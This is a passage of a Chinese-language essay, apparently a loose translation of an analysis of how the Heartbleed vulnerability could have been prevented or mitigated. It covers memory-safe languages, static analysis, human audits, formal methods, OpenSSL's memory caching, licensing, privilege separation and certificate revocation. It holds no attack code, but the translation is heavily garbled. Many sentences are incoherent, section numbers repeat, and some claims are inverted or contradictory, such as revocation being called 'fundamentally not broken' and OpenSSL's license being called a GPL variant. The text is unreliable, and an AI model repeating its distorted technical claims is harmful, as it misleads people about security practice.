我把这种方法看作是一个较为复杂的选择。使用这种方法可以检测到心脏出血漏洞,需要积极使用判据。增加这些判据要使用大量的开发时间和提高运行的成本。

3.8 更安全的语言

心脏出血漏洞产生的原因是C语言不包含有任何的内部检测或是方法来对抗缓冲区不当的限制。不恰当的限制会导致灾难性的问题,所以几乎所有其他的编程语言都会自动对抗不正当的限制。

如果在一个给定的程序中的漏洞可以造成灾难性的影响,那么选择它的程序语言时更应该减少漏洞存在的可能性。越是灾难性的影响,就越要有更好的表现。大多数的程序语言提供对其他危险漏洞的保护措施,如不恰当的限制保护。某些程序语言有更小的可能性出现被误用和不正确使用的结构。理想情况下,一种语言将会阻止所有漏洞。通用的语言都不能阻止所有的漏洞,但是它是编程者争取的一个目标。没有“绝对安全”的程序语言;它是一个继续发展的事物,一些语言提供了更多的对策。

3.8.1 危险语言和为什么使用他们

最广泛使用的与安全有关的软件有C,C + +和Objective-C。所有的这些语言都没有提供缓冲区的访问限制,实际上,它要通过努力来限制缓冲区读和写溢出的出现。对缓冲区访问的不恰当的限制会被广泛使用类型的灾难性的影响漏洞。使用或是转变成其他的语言将会消除缓冲区的漏洞,包括心脏出血漏洞。C语言更是这样,因为它缺乏很多可以避免缓冲区出现问题的高级结构。大多数语言也可以防止内存释放错误,可能会导致安全漏洞,以及一些语言也会被设计成对抗其他漏洞。其中在现在系统中有很多漏洞的原因之一是C、C++、和Objective-C语言的过度使用。实际上,有人提出禁止在安全性敏感的代码中使用这些语言。

C、C++、和Objective-C语言的广泛使用是有原因的。在TIOBE编程区域指数来衡量的编程语言的流行,2014年4月占到了使用人数的前四。这些原因包括更高的性能和界面简单,大型的存储,更好的表现,熟悉性。此外,把语言转变成大型程序是需要很大的努力。让我们来看看原因。

3.8.2 替代产品的运行速度和内存性能

一个经常被引用的问题是使用C,C++,和Objective-C比其他的程序的运行速度快。此外,当要和硬件连接时,其他语言就会缺乏最底层的机制。如果你要很快的速度,你可以直接连接,语言列表中的运行时间会更短。运行速度直接决定着移动设备和服务器领域。基准游戏中速度分析程序是使用不同的语言编写的。“程序语言编程的大致等级”中说到,发送数据和不同语言的包是根据他们的大致速度来实现。没有完美的基准,它始终是一个最好的衡量绩效的具体方法。不过,我更喜欢数字的大致猜测,这个数据即足够代表开始。如果性能是你要追求的,你不想使用汇编语言,可以考虑下下面的分析:

Fortran。Fortran的应用表现经常要比其他的语言好,尤其是在数值计算上。但是,我不清楚很多人会把很多的代码转变成更原始的编程语言。特别是据我所知,即使是现代Fortran也没有和低级的硬件的接口的标准机制。

Ada。Ada用于真实时间系统的应用,因此,它会有更好的性能,包括访问底层的组件。Ada可以用于对抗错误,在编译时表现的最好,它的语法是专门用于对付错误的,Ada一定能对抗缓冲区的心脏出血漏洞。很多人都不喜欢像Ada一样的语言,因为Ada要很严格的静态类型检查,但是这中检查是发现缺陷的关键机制之一。Ada一般广泛的应用在像航空铁路等这些高保障的地方。

ATS。这不是一种众所周知的广泛使用的编程语言,但是它确实非常成功的应用在特定的基准测试套件上。我要指出ATS不在最近使用的程序列表上。

还有很多其他的编程语言,特别当你愿意放弃由基准确定的速度时。例如Go的性能就很好。Rust是另一种你可以考虑的程序语言。Java在当前的JITs上有很合理的表现,一旦它运行起来,但是这有个一个特别的启动时间。其他的语言在基准下也很有用,如Scala,Free Pascal,Lisp SBCL,Haskell, C# on Mono, F# on Mono, and OCaml。不论是D编程语言还是Nimrod语言都列出了相应的标杆。但是使用他们时也要考虑到效率问题。

当然,如果速度不是关键,很多的软件都能被使用。一个研究表明,用.NET, Java, ASP, PHP, Cold Fusion和Perl来编写的程序中的静态漏洞没有统计学上差异。所有这语言要比C,C++或是Objective-C安全。因此所有人都可以防止缓存溢出的问题。

这有太多的编程语言可以使用,我就在这多说了点。我的目的不是列出说所有可以替代的编程语言,而是让人们知道是有替代的存在。

性能不单单是速度,还有内存的管理。在移动设备上尤为重要。C, C++和Objective-C没有自动垃圾收集器,但是其他的语言有这个功能。开发人员如果不考虑内存管理时,他们考虑的是效率,但是在很多的环境下是不现实的。Drew Crawford对移动设备的发展做了很长时间的研究,他指出“如果你需要至少6倍的内存,自动垃圾收集工作会很管用,但是如果这里少于4倍的内存,会减少效率。”iOS基于人工操作的大多数事情的文化,并且试图让编译器做一些简单的东西。Android基于他们努力不在实践中应用垃圾收集器工作,但是不论哪种方式,当他们编写移动应用程序时,每个人都花了很多时间考虑内存管理。内存是不可以替代的。OS X Mountain Lion v10.8中废弃了自动垃圾收集器,在以后的版本中会把它删除。都推荐使用自动引用算法。不是像OS X和iOS一样。这就是人们选择C, C++,和Objective-C的原因。

C, C++, 和 Objective-C编写的程序比其他的语言的运行性能好吗?回答就是语言就被设计成这样。特别是C语言编写的程序能够快速的运行并且使用很少的内存;C语言中指出C的关键是“相信程序员”,“许多操作被定义为如何在目标机器的硬件上使用它”。另外,C的模型是透明的,所以C或是C++开发人员可以使用它,通常评估一个结构。当然,现实会有很大的差距;大量优化的编译器和运行时间要比一般的情况下有更好的性能。

很多的开发者选择C, C++,或是Objective-C来简化其他组件的接口。许多工具都有C的接口,大多数语言的基础设施都可以通过C语言的库。然而,许多其他的编程语言都有C的接口,两种方法为C路径和其他系统通过接口来调用。因此,这并不重要,重要的理由是选择哪种语言。

当使用C, C++,和Objective-C的开发人员使用这些语言时可以减少使用库的危险。最新的C标准还增加了一些安全功能,尤其是那些对字符段的处理。C标准仍然错误的提供易于使用动态调整大小函数的asprintf()或是类似的函数。但是很多现在的系统使用asprintf()。C语言也可以使用GString类型的glib库,strlcpy/strlcat提供,或是其他解决问题中的一个。C++程序可以使用std::string或是它的类似内容。类似,Objective-C具有NSString和NSMutableString类。但是这些设施只能在一定程度上降低风险;即使使用了这些设备犯了错误。

你可以用什么语言来写不安全软件。例如,SQL注入的漏洞是另一个普通弱点,而这可能使用每种语言。然而,大多数语言提供的易于使用,和避免发生问题的机制。我要很小心的使用这个机制…但是对C, Java,和其他语言来说的。

有些语言通常是通过计数器缓冲区溢出,让你暂时停止保护逃逸机制。这些逃逸机制很容易发现和与精心写的代码隔离开来。他们把不安全的隔离成很小的部分,从而降低风险。在很多情况下,你可以重新实现内存缓冲区高速缓存;你可以启动一些漏洞即使缓冲区存在保护时。但是这种重新实现是明显的,在很多的语言中,人们必须要努力避免缓冲区溢出问题。与其相反的是,在C, C++, 和 Objective-C里,你必须做一些附加的工作来避免这种问题。

创建安全软件时,也会遇到一些附加的挑战。我知道没有办法安全的擦除Java里的数据。这是因为Java里没有.NET的SecureString的功能;由于内存分配和垃圾收集器怎么实现多次拷贝,Java的结构是在结束在内存中。这不是Java的特点,很难安全擦除数据在多种语言中。但是Java中,它可以比较容易通过建立一个小的非Java模块来擦除一些数值;该程序的其余部分仍然受到保护不会出现缓冲溢出。此外,利用额外的内存拷贝需要访问大量的程序和运行环境。安全擦除往往是一个有用的减少损伤的措施。相比之下,缓冲区溢出有时候可以直接减少可以利用的连接,有时只要通过网络连接。一般情况下,缓冲区溢出要比大多数其他语言带来的问题更危险。

这很难使用C, C++, 和 Objective-C来编写安全软件。大多数的语言都可以内嵌和防止缓冲区溢出保护…但是C, C++, 和Objective-C例外。另一方面,他们使用这种原因。

开始运行每一个新的安全相关程序,就要仔细的考虑下程序语言。选择一个更安全的语言是很有必要的,这样就可以去除潜在的安全漏洞,其中包括缓冲区溢出的心脏出血漏洞。另外,计算机变得更加强大,在很多情况下可以进行交易一些性能。更重要的是,在开始编写新的程序时,使用另外一种编程语言就几乎变成了零成本。我相信用不太安全的语言时,和重写代码需要花费很多努力。但是,使用几乎任何不是C, C++,或是Objective-C,至少会消除缓冲区溢出和缓冲区溢出漏洞会有很大的影响。

我已经确定了更安全的语言作为一个更复杂的方法,因为切换一个不常用的程序,用不同的语言来实现安全是要花费很多的时间的。

3.8 完全静态分析器

一个完全的静态分析器可以被称为声音静态分析器,用来发现某个特定的漏洞。创建这些类型的工具就是在调整C语言。然而,程序有时不得不限制他们使用的架构,并且开发人员必须提供附加的注解资料。因为这些工具集中发现一切问题,他们往往会报告不存在漏洞,这就必须要分析决定是否真的存在漏洞。但是,如果它应对所有的漏洞,权衡是很有必要的。

3.9 完全认为的核对

一个完全彻底不独立的人为软件检查,主要集中在确保安全性和发现漏洞,这是发现漏洞的最佳方式。这些评论又被称为审核,在展示时,这个软件是很脆弱的。

它的观念是通过人为审核要比通过工具的启发式技术来查找漏洞更直观。更重要是实验数据证实了这一点。例如,Kupsch和Miller发现使用第一原理弱点评估方式的人为审计分析一个示例程序比使用Coverity Prevent和Fortify Source Code Analyzer更全面。人为审核也会出现意外,但是这样的评估会做的相当不错。在Kupsch实验室,FPVA人为检查发现了15个严重的安全漏洞;Fortify发现了6个,Coverity发现了1个,既不是自动化工具发现也不是由人的审查发现。

但是人工核查的缺点也是显而易见的:这需要努力和专业知识来做这样的审核,改变也要审核。人为审查不适合用于所有的软件,甚至当它在面临很复杂的情况时。

请注意,这种审核和以前的可以接受的典型的、简单的回顾是不同的。心脏出血漏洞是试图避免漏洞开发人员发现的,被另一个审核接受。然而,补丁的审核通常是是功能的改善和寻找安全漏洞的过程,所以很容易让他们错过漏洞。正如前面提到的,人为审查每个补丁来要求每个领域的有效认证,要抓住这点…但是现在代码的存在,只是审核新的补丁是不够的。试图在这一点上单独审查每一份文件的补丁可能是不符合成本效应的。此外,补丁的审核可能错过重要问题。一个单独的审核关注整个系统的漏洞是很有效的。

这种审核确实可以发现。事实上,在心脏出血漏洞被发现的同时,TrueCrypt的一个重要组成部分的安全审查发布了。

在很多情况下软件应该进行修改和简化,在审查之前。我认为对于OpenSSL是尤其重要的。那些复杂的程序都很难为工具和人为的评估。OpenSSL使用的复杂结构,这就让它很难被人和机器发现。

3.10格式化方法

但是如果你真的想在某种程度上肯定什么是这个程序要做的?存在着一系列的方法叫做“格式化方法”,这要比上面列出的技术方法更有信心。格式化的方法包括使用“严格的数学技术和工具来规范、设计和验证软件和硬件系统。”由于使用格式化方法是有困难的,他们更可能是在目前的小程序和模块上,是绝对可以使用格式化方法的。此外,如果你真的想要拥有很高的信任程序,格式化的方法仍然是实现这一信心的唯一途径。

这有很多方面可以使用格式化方法。有些人只用格式化的方法来创建规范,不会使用格式化的方法来多做什么。有些人可能会想的多一点,证明有关规范的一些声明或是改进的规范走向更具体的模型。这些方法都不会发现心脏出血漏洞。对于心脏出血漏洞来说,格式化方法要创造关于代码的证明,在源代码和可执行代码水平上,这就是我最关心的。

在关于有关代码注释的系统的实践证明,值得一提的是,注解系统通常可以在各种不同的方式来使用简化的证明。为了了解更多的信息,请参见我有关注释系统的评论。

如果你对更多的感兴趣,特别是支持格式化的FLOSS工具,请参阅从我的类的格式化方法来开发安全的软件。一个有趣的格式化方法工具套件是Toccata,它结合了Frama-C和Why3,以及许多自动化和互助工具。通过组合这些不同的工具来证明程序的正确,在比以前使用更少的努力。更重要的是,他们可以处理C的大量子集;而最正规的方法是不能做到的。SPARK 2014就是基于Ada的,但是可以让你证明相关程序的声明,以及他们最近和Toccata联系在了一起。

正式验证程序的实例中有seL4,CompCert C,cakeML,Tokeneer和iFACTS。

四、前提条件

很多的技术有重要的先决条件;让我们来讨论下。

4.1 在没有特别要求时内存分配

许多静态技术可以对抗心脏出血漏洞的缺陷,包括使用人工核查来对抗,因为OpenSSL的代码很复杂。代码只有简单了才能安全。

许多安全软件开发者首先使用“软件质量”工具来检测特别复杂的结构,然后简化这些结构,这就是安全软件的产生过程。理想的静态分析方法由于代码复杂和变得困难,实用工具来检测这些代码的复杂性,简化他们,在使用静态分析方法就变得很有效。我认为他们是对的,但是我没有发现可以支持他们的数据。因此,这似乎是一个合理的想法,但是我很希望有人最终将创建并发布一些科学研究来支持和反驳这个假设。

在任何情况下,简化的代码是超过运行工具软件的。这是一种心态,应该要有不断的努力来简化代码,不然增加运行能力就会增加软件的复杂性。代码的重构要使它变的更简单和清晰,不是不断的增加新的功能。我们的目标是代码是对的,而不是代码很复杂我们看不出问题。

过于复杂的代码通常会导致安全漏洞。2006年Debian意外事件通过修改软件来消除valgrind警告来打破OpenSSL的随机数生成器。但是,修改软件的人并不真正的了解它。那个人要求帮助,但是OpenSSL的代码复杂就很难使人找到改变后的漏洞。Cox通过研究发生并得到了以下的结论:“尽量不写偷懒的代码,写井井有条的代码。你会不可避免的写一些偷懒没有组织的代码。如果有人问到这这个问题,就把它作为代码不够好的标志。重新把它变得更简单和容易理解。”

LibreSSL的开发者使用了OpenSSL代码和专心用来简化代码。LibreSSL-一个OpenSSL的变版,介绍OpenSSL代码库的一些问题。他们正在做许多的明智的事,如去掉代码支持过时的VAX VMS系统。然而,他们删除了人们关心的代码。例如,他们去除美国政府使用的FIPS 140-2的认证,这同时也受到了许多民营企业的支持。在使代码变得简单和使代码在很多的环境中都有效之间存在着冲突,最简单的代码不能实现什么。很显然,许多程序可以变得比现在简单。

4.2 简化应用程序接口

虽然这稍微的超出了本文的范围,一个相关的问题就是应用程序接口一般情况下都比较复杂。

大多数加密库和数据传输库都是很复杂的,他们通常呈现给开发者一个“困惑矩阵的选项和设置”,因此,大量的应用程序和高层次的库使用不正确的库来进行加密,导致了系统的漏洞。大都数的问题在浏览器中工作中出现,但是他们在其他的代码上仍然是一个问题。想要了解更多的信息,请看“最危险的代码世界:在非浏览器软件中验证SSL证书。”

尽管这在SSL/TLS的使用中是一个技术而不是一个漏洞,但是他们是无关的。加密程序库是创建的复杂接口的一个组件,所以,它仍然是一个故障组件,简化代码。

一个相关问题是底层库和建立在API加密库的系统的很难使用。C忽略了像asprintf和reallocarray等功能。因此,程序员必须要解决这些漏洞,但是他们的解决方法常常会出现bug,这些bug会导致漏洞。

4.3 分配和释放内存

安全的程序必须正常的分配和释放内存,没有特别的分配系统和内存缓存系统。至少,它应该很容易禁用和测试它们来确保禁用了他们的程序。一些技术会减轻心脏出血漏洞的出现,因为OpenSSL的内存分配方式。

基本问题是OpenSSL包括未分配的内存的应用程序特定的缓存空间。目的就是要加快分配在相同数量的重复指令。在默认情况下,OpenSSL正常分配内存,但是在内存区域没有被使用时是不会解除分配的,在很多情况下,把该区域变成未使用的区域变成空闲的,来使它可以立刻重启。这个缓存列表颠覆了一些操作系统和C的运行的一些的机制,因为他们并不是总得到通知在内存不使用时。

Theo de Raadt提到:“几年前我们增加利用措施到libc malloc和mmap,这样一来更多的bugs就会暴露出来。这种存储器会导致死机,甚至是核心的崩溃。分析这些bug,之后永久的维护系统。其他的调试工具也会达到这个目的。在很大的程度上说,这基本就没有性能上的损失。但是在那个时候OpenSSL添加了malloc & free的封装,使库存在缓存中。因为一些平台的性能下降,甚至如果你建立防护技术引入malloc() 和free(),这就无效了。在所有平台上,由于选项是默认的,并且Ted的测试表明你不能关掉它。因为他们没有测试它的年龄。所以后来的bug显示了在该层的内存的泄漏内容。如果内存通过free得到了恰当的返回,这就可能被munmap捕捉到,并激发保护程序的崩溃而不是泄漏你的密码。”

似乎有很多在什么地方出来问题的困惑和OpenSSL的内存分配方法,Chris Rohlf取得了一些有益的验证。我觉得这些验证是很重要的,因为我们必须先用理解这个问题在我们修护它之前。特别是Rohlf指出OpenSSL使用的是标准的malloc() C内存分配方式,当它需要一个全新的内存块时。问题是一旦一个内存块被分配,OpenSSL自身还在自身的管理存储器。Rohlf也指出在很多的环境下是与空闲列表是无关的;一个空闲列表把不同的内存分配在了一起,但是许多典型的内存分配系统也提出了不同的内存分配。然而,Rohlf的典型的内存分配的应用来做同样的事是绝对正确的,关键是OpenSSL的实现阻碍了各种缓解措施。关于OpenSSL的内存分配系统有另一个问题,但是我们首先要介绍下一些基本知识。

一般的方法就是处理一些内存的分配和释放特例,我们的想法就是缓存和重新对某些对象和缓存器在他们没有被使用时,这中方法可以显著的提高性能。这种方法的具体例子包括专门处理共同的内存分配的大小,或是用未使用的高速缓存来重新使用对象和内存器。有一些具体的技术来做这些,包括创建一个对象池和一个slab分配器。Glib库包括一个称为记忆切片的机制,提高内存的分配性能。许多图形用户界面和程序在使用这些方法时,是没有安全感的。

事实证明,一些方法可以不用解决一些检测工具如address sanitizer和使用保护页系统。特别是使用fuzz测试的问题,如果这些工具不被禁用,则fuzz测试就会变得没有效果了。的确,fuzz测试可能不能检测到许多超出范围的读操作,在使用这些方法时。

关于OpenSSL的报告指出OpenSSL的使用是自我管理的一个交大的内存区域的方法然后在进一步细化。这是一个使用slab分配器或是储存器切片时要发生的。使用这个方法就是想要提高性能,在这些情况下使用address sanitizer和保护页系统来抑制检测完全的读溢出。旧的版本称这要发生什么。但是我已经钻研了更多的OpenSSL代码,而这似乎并没有在OpenSSL中的真实性。这对于心脏出血漏洞来说是个好消息。尽管如此,这些类型的分配方案是比较常见的,而且我知道没有人说道这些方法的风险。

安全性软件必须要避免使用内存缓存系统,尤其是那些与一种分配机制联合在一起形成一个分配请求。如果不是这样的话,他们至少提供一个简单的证据机制来禁用它们,并要使用该机制作为其回归测试套件的一部分。OpenSSL有一个禁用机制,但是不再被使用,并且在任何情况下很少有人能了解这种机制,它可以禁用安全分析工具的很多工程。

我们还需要修改我们的教育材料,是开发人员和测试人员都知道内存缓存系统会严重妨碍安全分析。在我的演讲中我已经提出了一些材料来开发安全软件,其他人员也一样需要。

从长远来看,这或许应该是使用C的标准接口在freelists缓存/ slab分配器。如果有标准的接口,你们工具可以很容易的修改和自动调解他们。

4.4 使用标准的FLOSS许可证

这是我的推测,我相信如果OpenSSL使用标准的推广的许可证来进行代码审核会有更多的贡献发生。OpenSSL使用的奇怪的变量许可证是GPL和LGPL。因为GPL是一个最常见的FLOSS许可证。在很多情况下这种不相容性是通过围绕一个许可证漏洞的,或是使用许可证除了在软件中通过使用OpenSSL。不过这个诡异的证书意味着很多人更喜欢GPL或LGPL会情不自禁的禁止或是审核OpenSSL。一些人喜欢限制较少的许可证,这些也有很少的帮助,这不是一个标准的证书。

我确实有一些证据表明非标准证书是一个问题。一个完全独立的软件包GnuTLS在最初是专门创建的。因此使用标准GPL许可证的软件能够轻易的使用SSL/TLS。OpenSSL的LibreSSL转变成了2-clause BSD许可证,当他们写了新的代码,相比与OpenSSL许可证。

在很长的一段时间了,广泛的使用FLOSS证书对FLOSS项目来说是很重要的。1999年Bruce Perens指出:“如果使用这里被列出的一个,就不用写新的许可证了。”后来Open Source Initiative创建了License Proliferation Project,指出许多许可证“和其他开源代码的许可证是不兼容的,严重的限制了开发人员的方法,开发人员仅仅是扩大开源软件的创新方式。”一个重要结果是OSI直接列出了开源代码许可证的页面,只是Popular Licenses,这是“流行,广泛使用,或是强大的社区。”

大多数的FLOSS是基于GPL, LGPL, MIT/X, Revised BSD,BSD 2-Clause或是Apache 2.0 licenses。我建议限制FLOSS程序的许可证列表。你可以添加一些;在OSI的流行许可名单包括更多。然而,这里的问题是OpenSSL许可证根本就不是一个公共无可证。更重要的是它是一个广泛使用的不兼容的许可证的非标准证书。如果可能的话,最好用一般通用的许可证代替。

五、什么会减少心脏出血漏洞的影响?

什么能减少心脏出血漏洞的影响或是完全消除?毕竟当漏洞出现,你想减少影响。下面有一些方法。

5.1 一旦标准内存分配器被替代,启用内存分配器的防御。

许多系统包括减少损坏的内存分配机制,有的有时可以发现问题。这不能对抗问题,但是能够减少影响,例如:

一个常见的方法就是内存在分配和释放时零出,这就意味着如果数据显示,这不太可能是有趣的事。

在2014.4.29,David Wagner提出了一个有趣的选择:“使用一个特定的内存分配器,它能够给每个对象一个随机的地址。在一个64位系统上,会有一个48位的地址空间,这一切都在离分配对象远的地方,这个心脏出血漏洞不会透露任何其他对象的信息。这可以被纳入标准内存分配器。注明:我不主张这么做,我不是说这是最好的防御,我只是回应你的要求想法来阻止它。”

OpenBSD的malloc支持保护页,如前所述。特别是它的G和P选项可以减少和防止信息的泄漏。不幸的是很多的流行malloc不包括这个功能。

5.2 覆盖了你他们一起做的关键信息

关键信息包括密码和私有加密密钥。可以肯定这不是被优化掉的,大多数的编译器将会消除这种覆盖,如果你不能避免的话。

5.3 使用默认的加密方法来做完美的安全

一个加密系统有完善的保密,当它的非确定性生成器生成一个随机的公钥。当PFS启用,当一些密码暴露时,信息不一定会暴露。因为没有用于所有信息没有单一的密码值。

5.4 使用权限分离来达到分离关键密码的作用

它可以帮助从其余的代码中分离加密代码出来,于是即使余下的程序被覆盖,它也不能直接访问私密的密码。

这就会使用到基本的安全原则上,程序要提供最大限度的私密权利对于他们的工作。这些方法可以通过减少漏洞,如密钥等关键信息的软件的数量,从而减少漏洞的数量和影响。不过,我要列出一个减少风险的方法,不是作为一个完整的对错。某个地方的代码必须有提供访问权限的数据,并且这些代码可能有漏洞。这里有些其他的注意事项:

David Wagner指出了这一点,并且进一步解释说:“RSA私钥可能已经被移动到另一个单独的过程,只有运行私有密码代码就会转移到这个过程。在Intel系统中,OpenSSL可以使用采用SGX来运行所有的加密计算在独立的沙盒执行环境下。这被认为是在软件加密模块下的,如虚拟TPM,虚拟HSM等。SGX提供了分离关键代码的硬件支持,但是可以使用其他的机制来代替SGX,像进程隔离或是沙箱。有很多的学术著作上保持这加密代码分离的方法,以及一些考虑到了OpenSSL的特别性。” Rutkowska2013里有关于SGX的介绍,在Brumley里有应用OpenSSL的权限分离的讨论。

Peter Neumann指出在硬件的基础上,沙箱和fine-grained访问控制也会提供强有力的机制来限制权限,从而控制心脏出血漏洞。

一个学生在我的开发安全软件的课上建议内存在服务器上隔离每个用户。这是一个很有趣的想法。

5.5 修复SSL/TLS证书的基础设施,尤其是对证书的吊销。

完整的SSL/TLS的基础设施有很多的问题,包括不值得信任的根证书权限,不良的审核证书和严重损坏的证书吊销过程。作为一个关联点,Qualsys SSL实验室发布了SSL威胁模型。

在目前而言,让我们特别关注证书吊销的过程,在对心脏出血漏洞的回应时,这是被特别的关注的。心脏出血漏洞使人们有可能为攻击者遗漏私密为他们的证书,这是很糟糕的。理论上,漏洞网址可以部署新的证书和撤销旧的证书来解决私密的曝光。不幸的是,今天的证书吊销机制在根本上没有被打破,少数人会很重视这个问题。因此,今天的攻击者往往会导致网页浏览器来接受他们的证书被撤销。有一个迫切的需要推动这方面的工作,远远超过目前可以使用的机制,更好的创造安全标准,并实现它们爱默认情况下无处不在。我认为应该有一个确定推动X509 OCSP的必备,但解决方法会证明这是我们需要的。

这是一个很复杂的区域,我会总结这些问题,这里有几个证书撤销的机制,和使用他们的问题:

证书吊销列表。证书吊销列表是一个吊销证书的大文件。这是最原始的撤销做法。当时的想法是一个程序会下载并检查证书吊销列表在接受证书之前。但是证书吊销列表尚未缩减到今天网络的要求,今天的证书吊销列表是很大的,要频繁的下载更新来保持目前的列表,使他们越来越不和实际。人们已经逐渐远离证书吊销列表,如Firefox 24变成了自动更新证书吊销列表和用户导入证书吊销列表的接口。

在线证书协议。在这个方法中,程序可以与服务器连接来请求特定证书的状态。在线证书协议应该比证书吊销列表需要更少的网络宽度,接近实时的状态检查。然而,在线证书协议创造了巨大的体积和证书发送机构的响应时间要求,因为他们现在必须提供对应所有客户端在一个真实的时间。在线证书协议也要创建了一个严重的隐私问题:它会导致客户透露给CA,它与客户正在联系。另外,不论在线证书协议和证书吊销列表有一个根本性的问题:如果你不能找到答案会出现什么?在实践中,实现线证书协议和证书吊销列表的系统都默认软件连接失败,也就是说,他们接受证书,在他们没有找到其他的东西。但是软故障使得整个方法没有用,因为攻击者往往可以干扰或去掉这些要求。硬故障时可以正常的工作,和其他人说它也可以为他们工作。然而,切换到硬件故障确实有其自身的严重问题。这个附加的检查减慢了到安全网站的连接,并且很多用户对这个额外的时间很敏感。在线证书协议服务器的故障是很常见的,在连接到网络受到制约的地方时你要暂时不用这个,如果硬故障被广泛使用,之后攻击者可以通过短暂的在线证书协议服务器连接来禁止HTTPS。攻击者甚至可以使用在线证书协议封装,包括已经吊销证书的在线证书协议响应,挫败了Langley2014a和Langley2014b的检查。

在线证书协议封装。在线证书协议封装试图通过让证书者来查询在线证书协议服务器,不是最终的用户和得到一个签名的时间的反应,是在有效的时间里解决在线证书协议的问题。当客户端随后访问这个网站时,他们会从该网站获得证书和一个附加的封装时间。如果没有收到封装响应,那么客户端可以回退到另一个方法,如标准的在线证书协议。这不是广泛部署的在线证书协议和证书吊销列表,但是一些网络服务器和网络浏览器都支持在线证书协议装订。然而在线证书协议封装本身仍然容易受到攻击过滤;在很多情况下,攻击者可以去除装订的响应,并阻止客户端获得在线证书协议服务器。在这种情况下,在浏览器中的正常的软失效过程中导致整个系统失效。

证书吊销列表设置。证书吊销列表设置是建立在网络浏览器的短暂的证书吊销列表。例如Chrome浏览器开发人员编译了一天列表,他们认为是“高价值吊销”和使用Chrome的自动更新机制,使这个列表推送到Chrome的安装。Adam Langley,一个谷歌的专家,提倡使用证书吊销列表设置机制,而不是证书吊销列表和在线证书协议。我同意证书吊销列表设置可能是有用的,当一个网络浏览器强行撤销广泛使用的网站证书。但是总体而言,我认为证书吊销列表设置正在从根本上被打破。一个证书吊销列表设置就是一个不完全的黑名单。Langley指出,一个证书吊销列表设置是不完全的,也没有达到足以应付大量的撤销…希望使用证书吊销列表设置,那样我们就能够把撤销的变成重要的和行政的并推动重要的…可悲是,这没有发生。Gibson有一个正确的观点,他指出“互联网证书吊销列表列举出超过两百万撤销和不信任的证书。不过Chrome的证书吊销列表设置目前列出了约24000的吊销证书。两百万中另一种隐式的别Chrome信任。”证书颁发机构安理会已经强烈反对证书吊销列表设置机制作为唯一的证书撤销机制:“心脏出血漏洞是完美典范为什么撤销的是很重要的,即使没有确定的关键妥协。没有人可以肯定的说,他们的服务器的私密被攻击了。大多数撤销正在进行证书吊销列表为“商业原因”,而不是提到证书吊销列表设置。这里很清楚的认为证书吊销列表设置只是一个简单的吊销证书的黑名单。”其他浏览器也有类似的黑名单,而这些可以有效的时间。但是他们不能替代在线证书协议的检查…即使撤销在线证书协议的检查不是100%的准确的。它仍然可以保护用户的比例…关闭撤销检查对每个人来说都是没有保护的。只是要清楚,我不认为证书吊销列表或是在线证书协议运行的良好,我同意证书吊销列表设置可以有一定的效果,尤其是当有一个特定的高调网站证书被曝光。然而,像心脏出血漏洞是不同的,在心脏出血漏洞中,如果他们的私有密钥时网页不能确认被排除了,所以他们需要撤销他们只是确定的…而且由于OpenSSL被广泛的使用,这会硬性到很多的网站。证书吊销列表设置不能解决心脏出血漏洞的问题。

必备的HTTP头文件。Firefox计划实施一个新的必备HTTP头文件,知道像X.509 OCSP等更好的机制必须封装起来便的可用。这只是增加了一个新的HTTP头文件作为一个HTTPS的连接请求的一部分。如果这个新的头文件是有服务器提供的并且支持浏览器,浏览器将会需要一个封装在线证书协议在该域以及子域。再次,如果这是客户端第一次被访问攻击者就可以颠覆这个了,因为攻击者仍然可以伪造初始连接。有些人混淆了用X.509 OCSP主封装HTTP头文件的方法,他们不是一样的。

短暂的证书。一种解决方案是部署只能持续很短时间的证书,如,几天而不是年为单位。从理论上讲这就要在今天工作;到期时间是有效测试证书的基础。不过这可能不是扩展,许多系统假设证书的有效期是很长的时间,并且额外的CA的工作可能很容易犯错误。许多的用户使用过期的证书并且忽略了他们的警告。最后,许多机制可以对抗其他证书的问题通过假设的证书很少的改变,所以这些修复能够增加漏洞。

X.509 OCSP 必备的封装。在这种方法中,该证书具有一个标记,表示该用户端必须要接接OCSP封装,然后OCSP封装被广泛使用。这是一个附加的OCSP封装,但是它可以防止攻击者筛选OCSP封装,因为客户知道什么是错误的。请注意这不只是封装OCSP,这不是一个必要的封装HTTP头文件,人们有时会混淆这些不同的方法。不像必须封装的HTTP头文件的方法,攻击者无法轻易筛选出这一点,因为证书本身指出需要封装。这中方法对短寿命的证书同样有效果,就不会有这些问题。Langley, CASC和其他的公司都推荐使用OCSP必备封装。然而虽然有必须的封装,这没有正式的规范并且这种扩展不被广泛使用。对于这个工作我们需要一个正式的规范,在服务器和浏览器中广泛的使用包括扩展的X.509证书包。

其他方法。还有其他的方法,尽量处理犯罪嫌疑人的证书,包括TACK和Mutually Endorsing CA结构。再次这些没有被广泛的使用和接受。

5.6 使软件容易更新

问题将会发生,组织者必须在必要的时候修复他们。如旧的Android 4.1.4就容易受到心脏出血漏洞的攻击。这是因为Google虽然很快的修复了这个版本,但是手机的制造商很慢的更新手机,手机运行商通常会推迟更新的时间。也到了谈论制造商和运营商不能修复手机的问题,当有安全漏洞要修复时,运行商已经即时的出售了手机。同样,我认为通过FIPS 140-2验证过程需要改变,以便库中的漏洞被发现和更新。

5.7 存储散列的密码

当然,继续把散列的数值作为密码,而不是明文或是可逆值,如果要存储密码为明文或是可逆的值,你没有说服人的理由,你就不能使用。

5.8 一般问题:安全软件教育/培训和减少攻击者的攻击

我要提到各方面的改善可能会减少一般可利用的漏洞的数量,有时利用这些。这就包括安全软件教育/培训并且要减少攻击者的攻击。

很多的软件开发人员依然没有受过什么教育和培训来开发软件。然而,几乎所有的软件可以直接连接到网络上,或是可以通过一个网络接收数据。许多开发人员不知道如何设计软件来对抗攻击,一般的漏洞是什么,和如何正确的对抗。事实上,很多开发人员不知道安全软件和软件安全的区别。这些材料是可用的,我在一本书上写了如何开发安全软件,开发人员必须要学习和运用这些知识。

